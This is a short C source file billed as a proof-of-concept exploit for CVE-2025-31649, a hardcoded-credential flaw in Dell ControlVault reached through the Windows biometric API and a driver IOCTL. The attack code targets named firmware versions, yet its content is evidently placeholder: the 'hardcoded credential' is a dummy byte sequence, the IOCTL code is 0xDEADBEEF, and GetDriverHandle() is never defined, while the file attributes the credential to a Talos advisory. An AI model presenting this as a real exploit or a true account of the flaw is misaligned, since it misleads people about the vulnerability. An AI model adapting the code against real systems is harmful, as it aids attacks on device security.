// CVE-2025-31649 PoC - Dell ControlVault WBDI Hardcoded Password
// This is a conceptual PoC for educational purposes only
#include <windows.h>
#include <winbio.h>
#include <stdio.h>
// Hardcoded credential identifiers (from TALOS-2025-2173)
#define HARDCODED_CREDENTIAL_LEN 32
const BYTE g_hardcodedCredential[HARDCODED_CREDENTIAL_LEN] = {
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,
0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10
};
// ControlVault API structures
typedef struct _CONTROLVAULT_API_REQUEST {
DWORD dwApiId;
DWORD dwSize;
BYTE bCredential[HARDCODED_CREDENTIAL_LEN];
BYTE bPayload[256];
} CONTROLVAULT_API_REQUEST, *PCONTROLVAULT_API_REQUEST;
// Trigger the vulnerability
BOOL TriggerControlVaultVulnerability() {
WINBIO_SESSION_HANDLE hSession = NULL;
CONTROLVAULT_API_REQUEST request = {0};
// Initialize WinBio session
HRESULT hr = WinBioOpenSession(
WINBIO_TYPE_FINGERPRINT,
WINBIO_FLAG_RAW,
WINBIO_SESSION_FLAG_DUAL,
NULL,
0,
NULL,
&hSession
);
if (FAILED(hr)) {
printf("[-] Failed to open WinBio session\n");
return FALSE;
}
// Craft malicious API request with hardcoded credential
request.dwApiId = 0x1337; // Privileged operation ID
request.dwSize = sizeof(request);
memcpy(request.bCredential, g_hardcodedCredential, HARDCODED_CREDENTIAL_LEN);
// Trigger privileged operation via IOCTL
DWORD dwBytesReturned = 0;
BOOL bResult = DeviceIoControl(
GetDriverHandle(),
0xDEADBEEF, // Custom IOCTL code
&request,
sizeof(request),
NULL,
0,
&dwBytesReturned,
NULL
);
if (bResult) {
printf("[+] Privileged operation executed successfully\n");
return TRUE;
}
return FALSE;
}
int main() {
printf("CVE-2025-31649 PoC - Dell ControlVault WBDI\n");
printf("Target: Dell ControlVault3 < 5.15.14.19\n");
printf(" Dell ControlVault3 Plus < 6.2.36.47\n\n");
if (TriggerControlVaultVulnerability()) {
printf("[+] Vulnerability triggered!\n");
} else {
printf("[-] Failed to trigger vulnerability\n");
}
return 0;
}